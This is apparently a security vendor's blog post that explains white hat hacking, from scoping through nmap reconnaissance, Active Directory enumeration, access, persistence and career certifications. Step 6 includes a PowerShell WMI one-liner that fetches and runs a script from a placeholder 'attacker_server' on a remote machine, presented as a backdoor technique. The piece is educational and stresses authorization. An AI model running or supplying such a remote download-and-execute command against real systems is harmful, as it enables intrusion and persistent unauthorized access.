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What Is a White Hat Hacker?

LAST UPDATED: October 19, 2023

Picus Labs   By Picus Labs  •  October 19, 2023, 19 min read

The threat landscape is continuously evolving, making it challenging for organizations to keep up with the latest threats and vulnerabilities observed and exploited in the wild. In fact, as adversaries have evolved to use as many as 30 TTPs in their malware attack campaigns, traditional methods like vulnerability scanning are increasingly becoming ineffective. Therefore, organizations must adopt practices that mimic sophisticated adversaries to test their defense layers' effectiveness and pinpoint gaps in their security infrastructure. To this end, white hat hackers play a crucial role. These ethical hackers work to identify vulnerabilities and potential attack paths to an organization's most valuable assets without causing harm and without actual exploitation.

In this blog, we will discuss what a white hat hacker is, how to become one, requisite certifications, and well-known examples of white hat hackers.

What Is a White Hat Hacker?

A white hat hacker, also known as an ethical hacker, is an individual who specializes in computer and network security and utilizes their expertise to ethically penetrate, evaluate, and strengthen computer systems, networks, and applications. Operating with explicit permission from system owners, white hat hackers simulate cyberattacks to uncover vulnerabilities, weaknesses, and potential threats within a digital infrastructure. 

Unlike their black hat counterparts, who hack with malicious intent or personal gain, white hat hackers aim to discover and report security flaws to the respective owners, ensuring that these potential gaps are sealed before they can be exploited. Their primary motivation is to enhance security and protect systems from potential breaches. 

How Does White Hat Hacking Work?

White hat hacking, often referred to as ethical hacking, operates on the foundational principle of obtaining proper authorization before probing systems for vulnerabilities. The process is systematic, and the methods used mirror those that malicious hackers might employ, but with the key distinction of ethical intent. Here's a breakdown of how white hat hacking typically works:

Step 1: Scope of Engagement for White Hat Hacking Practices

Before any hacking activities commence, white hat hackers obtain explicit permission from the system owner or organization. This authorization often defines the scope of the attack, specifying which systems can be probed and the types of tests that can be conducted. 

This step is crucial, as organizations do not want white-hat hacking tests to cause disruptions in the business environment. Hence, they provide a list of IP addresses and assets that should be excluded from the scope of the white-hat hacking exercise. Even if a white-hat hacker professional believes that these assets might contain critical vulnerabilities, they are not permitted to conduct any tests on them, as these assets are outside the agreed-upon scope. This agreement is binding on both parties: the provider and the organization being tested.

Here is an example of scope of engagement regarding a white hat hacking practice.

Engagement Conduct: White-Hat Hacking Test

Scope of Engagement:

While the objective of this exercise is to identify vulnerabilities in our digital assets, certain critical IP addresses and assets must be excluded to ensure no disruptions in the business environment.

Exclusion List: IP Addresses and Assets Out of Scope

1. IP Address: - Primary Database Server
2. IP Address: - HR Management System
3. IP Address: - Executive Email Server
4. IP Address Range: - Payment Processing Network
Asset: FileServer01 - Document Repository

Please note that no testing is allowed on the aforementioned IP addresses and assets, regardless of the potential vulnerabilities they might hold.

Step 2: Planning a White Hat Hacking Engagement 

In the second step of white-hat hacking practice, planning is essential.

Within the scope of engagement, the white-hat hacker is given objectives, such as accessing valid domain admin account credentials or reaching the Domain Controller in an AD environment.

In the second phase, which is planning, the white-hat hacker professional drafts a preliminary plan that she intends to follow throughout the hacking exercise. She enumerates the tools she plans to use. However, it's important to note that this plan isn't always set in stone. Organizational environments are dynamic, and her initial plan might not always be the best route to the ultimate objective. Along the way, she might devise a stealthier attack path that offers quicker access. Conversely, she might need to exert significant effort and employ advanced lateral movement techniques to gain access.

Step 3: Reconnaissance 

Before delving deeper into a targeted system with the commands I provided, a white hat hacker would typically need to know which hosts are live and their respective IP addresses. Knowing the target's IP addresses, network range, or domain names is foundational to a successful reconnaissance phase.

The reconnaissance process usually progresses in stages:

  • Broad Network Scanning with Publicly Available Information 

While native tools are beneficial, it's also essential not to overlook other resources. WHOIS queries, for example, can provide details about domain ownership, while tools like nslookup or dig (on Linux) can help resolve domain names to IP addresses and vice versa.

  • Identifying Live Hosts

Once a range or set of IP addresses is known, the next step is to determine which hosts are live. Tools like ping (for ICMP echo requests) or more specialized tools like nmap can be used to scan multiple IP addresses and see which ones respond. For example, an nmap command to scan a range of IP addresses might look like:

nmap -sn

This would perform a ping sweep over the range to

Step 4: Enumeration and Vulnerability Assessment

In this phase, white hat hackers focus on accumulating as much information as possible about the target system. 

Here are some activities performed during the enumeration and vulnerability assessment phase with example scripts and commands run by a white hat hacker.

  • Port Scanning

With the live hosts pinpointed, they're then scanned to find open ports, giving insights into which services are running. 

nmap -v -sS -A -T4 -p- -oN output_filename.txt target_ip_or_domain

Here's what each option accomplishes:

-v: Increases verbosity. This provides a more detailed output, giving insight into the scan's progression in real-time.

-sS: Executes a SYN scan, also known as a "stealth scan". This is a non-intrusive method that avoids completing the TCP handshake, often allowing the scan to go undetected.

-A: Aggressively scans the target, enabling OS detection, version detection, script scanning, and traceroute.

-T4: Sets the timing template to "aggressive". Adjustments can be made from -T0 (paranoid) to -T5 (insane), but -T4 offers a good balance between speed and reliability without being overly aggressive.

-p-: Scans all 65535 ports.

-oN output_filename.txt: Saves the scan results to the specified file (output_filename.txt in this example).

  • Identifying Vulnerable Services

Using the results of the port scan, a white hat hacker can look for services that are known to have vulnerabilities. Tools like nmap with its NSE scripts can help in this regard. For instance: 

nmap -v -sS -T4 -p- --script=vuln --script-args=unsafe=1 --version-all -oA output_filename target_ip_or_domain

From the previous nmap script, we are going to skip explaining the -v, -sS and -T4 options.

--script=vuln: Continues to use the vuln category from NSE (Nmap Scripting Engine) to check for vulnerabilities.

--script-args=unsafe=1: Some scripts are considered "unsafe" as they might crash or have other unintended side effects on the target. This flag tells Nmap to run those scripts anyway. Caution: This can be risky, and you should be sure you have permission and are prepared for potential consequences.

--version-all: Attempts to determine the version of all detected services, not just the ones that Nmap is confident about. This can be useful for vulnerability determination if a specific version of a service has known vulnerabilities.

-oA output_filename: Outputs the results in the three major formats: normal, XML, and grepable, with the basename of output_filename (e.g., output_filename.txt, output_filename.xml, output_filename.gnmap).

  • IP Addresses and Network Configuration 

Using the native command-line interface, a hacker can run commands like ipconfig or netstat to fetch details about the network configuration and active connections.

netstat -tulnvp | grep -E 'ESTABLISHED|LISTEN'

Here's the breakdown:

  • -tulnvp:

  • t: TCP ports

  • u: UDP ports

  • l: Display only listening sockets

  • n: Show numerical addresses instead of resolving hostnames

  • v: Display verbose output

  • p: Show the PID and name of the program to which each socket belongs

  • grep -E 'ESTABLISHED|LISTEN': This filters the output to show only the ports that are in the LISTEN (waiting for incoming connections) or ESTABLISHED (successfully established connections) states.

This command gives you a comprehensive yet filtered view of active and listening connections, showing you precisely which applications are using which ports and the state of their connections.

  • Domain Details

PowerShell, a native scripting tool in Windows, can be particularly invaluable. To retrieve a list of all domain admins in a Windows domain environment, a white hat hacker might run:

Get-ADGroupMember 'Domain Admins' | where {$_.objectClass -eq 'user'} | ft name,samaccountname

The PowerShell command Get-ADGroupMember 'Domain Admins' retrieves all members of the 'Domain Admins' group from the Active Directory. The pipe (|) then passes this list to a where filter, which selects only those members where the objectClass attribute is equal to 'user', effectively filtering out any non-user accounts (like groups or computers). 

The final segment, ft name,samaccountname, formats the output to display just the name and SAM (Security Account Manager) account name of each user, presenting the results in a clear and concise table. In essence, this command provides a list of user accounts that have domain admin privileges in the specified Windows domain environment.

  • Gathering OS Information

Again, using PowerShell, one can fetch extensive information about the operating system:

Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture

The PowerShell command Get-WmiObject -Class Win32_OperatingSystem fetches comprehensive information about the operating system on a Windows machine using Windows Management Instrumentation (WMI). This data is then piped (|) to Select-Object, which filters and displays only the specified attributes: Caption (the name of the OS), Version (the version number of the OS), ServicePackMajorVersion (the major version number of the installed service pack, if any), and OSArchitecture (the architecture of the OS, such as 64-bit or 32-bit). 

In essence, this command extracts and presents key details about the operating system's name, version, service pack version, and architecture on a Windows device.

By incorporating native OS tools and commands into the reconnaissance phase, the information gives a more realistic and practical perspective on how white hat hackers operate in real-world scenarios.

Step 5: Gaining Access

While there are countless methods for breaking into a system, professionals often opt for more sophisticated and targeted techniques. These approaches are not only effective but also emulate advanced threat actors, ensuring that organizations are prepared for high-level threats.

For instance, the Server Message Block (SMB) protocol, which facilitates shared access to files, printers, and serial ports, has historically been a popular target due to its vulnerabilities and widespread use. Abusing these vulnerabilities can provide unauthorized access, data exfiltration routes, and avenues for lateral movement within a network.

SMB Exploitation:

  • SMB Relay Attacks: A type of Man-in-the-Middle attack where unsanitized SMB requests are intercepted and then relayed to another host, gaining unauthorized access.

  • Null Session Enumeration: Leveraging the SMB protocol to connect to a system with a null session (no username or password) and then enumerate shares, users, or other valuable information.

  • SMBExec: A tool known for its capability to execute commands on remote Windows systems. Unlike tools such as psexec, SMBExec doesn't upload a binary to the remote host, making it more stealthy and less likely to trigger security tools.

The SMB vulnerabilities are just the tip of the iceberg. 

A white-hat hacker's repertoire is vast, continuously evolving with the cyber threat landscape. They may harness the power of tools, custom scripts, and even zero-day vulnerabilities to gain access. The aim, however, remains consistent: to pinpoint weaknesses, reinforce security measures, and ultimately fortify an organization's defense mechanisms against malicious actors.

Step 6: Maintaining Access 

A white hat hacker, during this phase, emulates malicious actions by attempting to create backdoors, execute advanced lateral movement, or apply privilege escalation techniques. These actions highlight how malware can remain undetected within a system, potentially exfiltrating data.

  • Leveraging WMI for Access:

Ethical hackers often use WMI to simulate attacker techniques, such as lateral movement across a network. By harnessing native tools and scripts, they demonstrate how processes on remote systems can be invoked, effectively bypassing certain conventional security measures.

Consider the following script:

Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "powershell -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://attacker_server/script.ps1')" -ComputerName target_machine -Credential domain\username

From an attacker's viewpoint, executing this script could establish a backdoor, granting persistent access to the victim machine.

Breaking Down the Command:

  • Invoke-WMIMethod: A PowerShell cmdlet to call WMI methods.

  • -Class Win32_Process: Operates on the Win32_Process class for process tasks.

  • -Name Create: Calls the "Create" method to initiate a new process.

  • -ArgumentList: The remote command, here creating a PowerShell process that bypasses policies to execute a remote script.

  • -ComputerName target_machine: The target's name or IP.

  • -Credential domain\username: The credentials, likely previously compromised, used for the remote action.

This example illustrates a white hat hacker's utilization of WMI in PowerShell for remote script execution on a target. It underscores the ease with which one can move between compromised machines within a network if robust security measures are absent.

Step 7: Analysis and Reporting 

Analysis and reporting are pivotal stages for white hat hackers following a security assessment.

These detailed reports not only delineate the vulnerabilities identified but also illuminate potential attack paths that adversaries might exploit to access an organization's crown jewels. By presenting proof-of-concept (PoC) examples of possible exploitation attacks, white hat hackers offer a tangible visualization of risks, thereby underscoring the urgency of remediation. This level of detailed insight and visibility is instrumental, enabling organizations to prioritize security enhancements and safeguard their most critical assets effectively.

Step 8: Remediation and Mitigation Suggestions

At the conclusion of their assessment, white hat hackers don't just identify vulnerabilities—they also provide invaluable guidance on remediation and mitigation. Drawing from their deep understanding of the attack vectors they exploited and potential risks they observed, these ethical hackers offer tailored suggestions to secure the vulnerable points. 

Their recommendations aren't generic; they're aligned with the specific threats the organization faces, ensuring that countermeasures directly address and neutralize the detected weaknesses. This consultative approach not only highlights problems but also paves the way for informed and effective solutions.

How to Become a White Hat Hacker?

The journey to becoming a white hat hacker can be roughly summarized in five points.

In the upcoming sections, we are going to deep dive into each phase, providing a roadmap.

Phase 1: Technical Foundations for Ethical Hacking

Start by immersing yourself in computer fundamentals. 

  • Technical Foundations for Hardware Components

  • Solid Grasp of Networking, OSI and TCP/IP Frameworks

  • Knowledge of Programming Languages Vital to Cybersecurity, such as Python, JavaScript, and C++

  • Operating System (OS) Knowledge of both Windows and Unix-like Operating Systems

Each point is provided with a deep explanation.

  • Technical Foundations for Hardware Components

Understanding hardware components like CPUs and RAM is crucial for white hat hackers due to advanced malware attacks. For instance, fileless malware operates directly in a system's RAM, bypassing many traditional detection methods that scan disk storage. A white hat hacker, aware of RAM's volatile nature, would understand this malware's evasion technique. Additionally, comprehending CPU functionality is vital because of malware exploiting CPU-level vulnerabilities, such as the Spectre and Meltdown flaws. 

  • For instance, the DownEx espionage operation employed a fileless malware technique targeting government institutions in Central Asia [1]:  

Fileless malware operates by executing malicious instructions directly in memory rather than writing files to disk, making it more stealthy and harder to detect. In the case of DownEx, after initial infiltration, one variant of their attack used a VBScript (slmgr.vbe) which, when executed, fetched and ran another malicious script directly from memory without ever writing it to the target system's storage, thus evading traditional file-based detection methods. Hence, a white-hat hacker professional hired from an organization in Central Asia, who is aware of the rising threat from the DownEx espionage campaign, might want to employ a similar fileless malware-like ethical hacking strategy to assess the organization's readiness against these emerging threats.

The moral of the story is that by understanding how CPUs process instructions and utilize cache memory, white-hat hackers can detect and mitigate such threats more effectively. In essence, deep hardware knowledge equips them to address sophisticated malware strategies proficiently.

  • Solid Grasp of the Networking, OSI and TCP/IP Frameworks

A solid grasp of networking, along with an in-depth understanding of the OSI (Open Systems Interconnection) and TCP/IP (Transmission Control Protocol/Internet Protocol) frameworks, is fundamental for anyone aspiring to become a white-hat hacker. The intricate web of modern communication hinges upon these foundational models, dictating how data is transmitted, received, and processed across networks. Mastery over these frameworks provides hackers with insights into potential vulnerabilities, from the physical layer of networking hardware all the way to the application layer where software vulnerabilities might exist.

One real-life example of such an attack is the SolarWinds Orion hack [2]. In this attack, adversaries exploited a vulnerability in the SolarWinds Orion network monitoring and management software to insert malicious code into updates for the software. This code was then installed on the systems of SolarWinds customers, which included a number of US government agencies and Fortune 500 companies. Once installed, the malicious code would create a backdoor on the victim's system that would allow the adversaries to access and control the system remotely. The adversaries would then use this backdoor to steal sensitive data and install additional malware. 

The SolarWinds Orion hack was a sophisticated attack leveraging deep knowledge of networking and TCP/IP protocols. Adversaries exploited a vulnerability in popular software to access target systems. White hat hackers, often known as ethical hackers, must adopt this hacker-like mindset wrapped with deep networking knowledge to detect vulnerabilities before malicious actors exploit them. This underscores the significance of thorough asset inventory and ethical hacking practices.

  • Knowledge of Programming Languages Vital to Cybersecurity, such as Python, JavaScript, and C++

Knowledge of programming languages, particularly Python, JavaScript, and C++, is indispensable in the realm of cybersecurity. These languages empower ethical hackers to craft custom scripts tailored to specific tasks, enhancing their efficiency and precision. For instance, 

  • Python's flexibility and extensive libraries allow for rapid development of tools that can automate tasks like information gathering, vulnerability scanning, or even simulating certain attacks. 

  • JavaScript, being a cornerstone of modern web applications, is pivotal for understanding and identifying vulnerabilities in web-based systems. 

  • C++, with its low-level capabilities, is often employed in understanding and developing exploits for system-level vulnerabilities. 

In essence, mastering these languages not only enables ethical hackers to better dissect potential vulnerabilities but also equips them to develop bespoke tools, making their cybersecurity endeavors more effective and targeted.

  • Knowledge of both Windows and Unix-like Operating Systems (OS)

Understanding both Windows and Unix-like Operating Systems (OS) is crucial for white hat hackers aiming for a career in endpoint attacks. These operating systems form the backbone of the majority of devices and servers worldwide. 

  • Proficiency in Windows is essential given its widespread use in enterprise environments, from desktops to servers. Understanding its architecture, file systems, registry, and inherent vulnerabilities allows hackers to anticipate and counter potential threats.

  • On the other hand, Unix-like systems, including Linux variants, dominate the web server landscape and are popular for specialized applications. 

Mastery of these OSs helps in understanding the intricacies of permissions, process handling, and daemon management. For a white hat hacker, a comprehensive grasp of both types of OSs is pivotal, as it equips them to simulate and understand attacks on varied endpoints, ensuring they can identify vulnerabilities and mitigate threats irrespective of the underlying operating system.

Phase 2: Hacking Labs as a Playground for White Hat Hackers

Diving into a hands-on environment is pivotal for aspiring white hat hackers. Establishing a controlled lab environment offers invaluable experience, serving as a sandbox where one can safely experiment and simulate real-world attack scenarios. For instance, in these labs, an individual can interact with systems like Active Directory, testing exploitations without the risk of causing business disruptions or actual harm. 

Using platforms such as 

  • Hack The Box, and/or
  • TryHackMe 

further enriches this hands-on approach, allowing for practical experience and honing of skills. Such immersive experiences are vital, bridging the gap between theoretical knowledge and practical application, preparing practitioners for real-world challenges.

Phase 3: White Hacking Certifications

Education and certifications programs are a crucial stage in the journey of aspiring white hat hackers. As they delve deeper into the intricate world of cybersecurity, securing industry-recognized certifications becomes paramount. These certifications not only validate a practitioner's skills and knowledge but also provide them with the credentials needed to stand out in a competitive field. 

Here are six certifications that an aspiring white hacking professional might want to look at.

The rigorous training and examination processes associated with these certifications ensure that individuals are well-prepared to handle real-world cybersecurity challenges effectively.

Phase 4: Engage with the Cybersecurity Community

Building technical expertise is pivotal, but integrating oneself into the broader cybersecurity community enriches one's journey in white hat hacking. Actively engaging in conferences, workshops, and online forums offers exposure to new trends, methodologies, and thought leaders in the field. Such interactions foster collaborative learning, helping aspirants stay updated with evolving threats and innovations. 

Moreover, networking with peers and experts can lead to mentorship opportunities, hands-on challenges, and collaborations, further refining one's skills and understanding of the cybersecurity landscape. In essence, community involvement is the gateway to a world of shared knowledge, experience, and continuous growth in the realm of ethical hacking.

Phase 5: Uphold Ethical Standards

obtain explicit authorization before initiating any testing on systems. Beyond technical acumen, a genuine commitment to continuous learning and growth is essential. The ultimate mission should always be to fortify and safeguard systems. Instead of focusing solely on vulnerabilities, the emphasis should be on proactive protection, ensuring that systems are resilient against both current and future threats. In this role, integrity and responsibility are as crucial as technical expertise.

Frequently Asked Questions (FAQs)
Here are the most frequently asked questions about White Hat Hackers.
What Does a White Hat Hacker Do?
A white hat hacker, often referred to as an ethical hacker, conducts security assessments to identify vulnerabilities within systems, applications, and networks. With explicit permission from organizations, they simulate cyberattacks to uncover weaknesses before malicious hackers can exploit them. After their assessment, they provide detailed reports and offer remediation strategies, ensuring that entities can bolster their defenses against potential threats.
What Is a GREY Hat Hacker?
A grey hat hacker occupies the middle ground between white and black hat hackers. While they might not have malicious intentions, they don't always operate within the confines of the law. They might identify and exploit vulnerabilities in a system without permission but report them to the organization afterward, sometimes seeking a reward. Their actions are driven by a mix of personal curiosity, altruism, and sometimes personal gain.
What Are the 3 Types of Hackers?
The three primary types of hackers are white hat, black hat, and grey hat. White hat hackers are ethical professionals who identify vulnerabilities to improve security. Black hat hackers exploit vulnerabilities for personal or financial gain, operating without permission and often with malicious intent. Grey hat hackers, as the name suggests, blend both approaches, sometimes acting without explicit permission but often revealing vulnerabilities to the affected party.
What Is Red Hat Hacker?
The term "Red Hat" hacker isn't as widely recognized as the others but typically refers to individuals who actively engage with black hat hackers. Instead of just reporting malicious activity, red hat hackers might launch aggressive counterattacks to disable or destabilize the offending systems. They operate with a vigilant approach, prioritizing defense by taking the offensive against potential threats. Their methods, while proactive, may sometimes blur ethical lines.
Please click here to see the references

[1] M. Zugec, “Deep Dive Into DownEx Espionage Operation in Central Asia,” Bitdefender Blog. Available: [Accessed: Oct. 06, 2023]

[2] S. Oladimeji and S. M. Kerner, “SolarWinds hack explained: Everything you need to know,”, Jun. 27, 2023. Available: [Accessed: Oct. 06, 2023]

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Understand the 4 trade-offs limiting security teams in managing their organization's threat exposure.